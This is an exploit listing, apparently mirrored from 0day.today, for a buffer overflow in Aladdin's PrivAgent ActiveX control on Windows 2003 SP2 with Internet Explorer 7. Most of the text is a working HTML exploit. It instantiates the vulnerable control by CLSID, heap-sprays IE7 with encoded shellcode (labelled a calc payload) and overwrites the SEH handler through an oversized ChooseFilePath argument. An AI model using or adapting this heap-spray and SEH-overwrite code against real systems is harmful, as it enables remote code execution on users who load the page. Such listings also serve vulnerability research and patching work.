Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control Overflow

🗓️ 15 Oct 2013 00:00:00Reported by BlakeType

zdt🔗 0day.today👁 24 Views

Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control Overflow on Windows 2003 SP2/IE

<html>
<title>Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control Overflow</title>
<!--
Aladdin Knowledge Systems Lt.d PrivAgent ActiveX Control Overflow
Vendor: Aladdin Knowledge Systems
Version: activex2002
Tested on: Windows 2003 SP2 / IE 7
Download: ftp://ftp.aladdin.com//pub/privilege/activex2002.zip
Author: Blake
Original Discovery: shinnai
 
CLSID: 09F68A41-2FBE-11D3-8C9D-0008C7D901B6
Safe for Scripting: True
Safe for Initialization: True
-->
 <object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object>
  <script>
  
	// heap spray for IE7
	//calc - 196 bytes
	var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');
	var bigblock = unescape('%u9090%u9090');
	var headersize = 20;
	var slackspace = headersize + shellcode.length;
	while (bigblock.length < slackspace) bigblock += bigblock;
	var fillblock = bigblock.substring(0,slackspace);
	var block = bigblock.substring(0,bigblock.length - slackspace);
	while (block.length + slackspace < 0x40000) block = block + block + fillblock;
	var memory = new Array();
	for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
	
	buffer = "";
	while(buffer.length < 1224) buffer+="A";
	next_seh = "BBBB";
	seh = "\x0a\x0a\x0a\x0a";	// heap address
	junk = "";
	while (junk.length < 1700) junk+="D";
	
	var payload = buffer + next_seh + seh + junk;

   test.ChooseFilePath(payload);
  </script>
</html>

#  0day.today [2018-04-04]  #

15 Oct 2013 00:00Current

7.1High risk

Vulners AI Score7.1

aladdin knowledge systems; privagent activex; windows 2003 sp2; internet explorer 7; overflow; exploit; vendor; version; clsid; ftp; activex control; security vulnerability; html; scripting vulnerability; heap spray.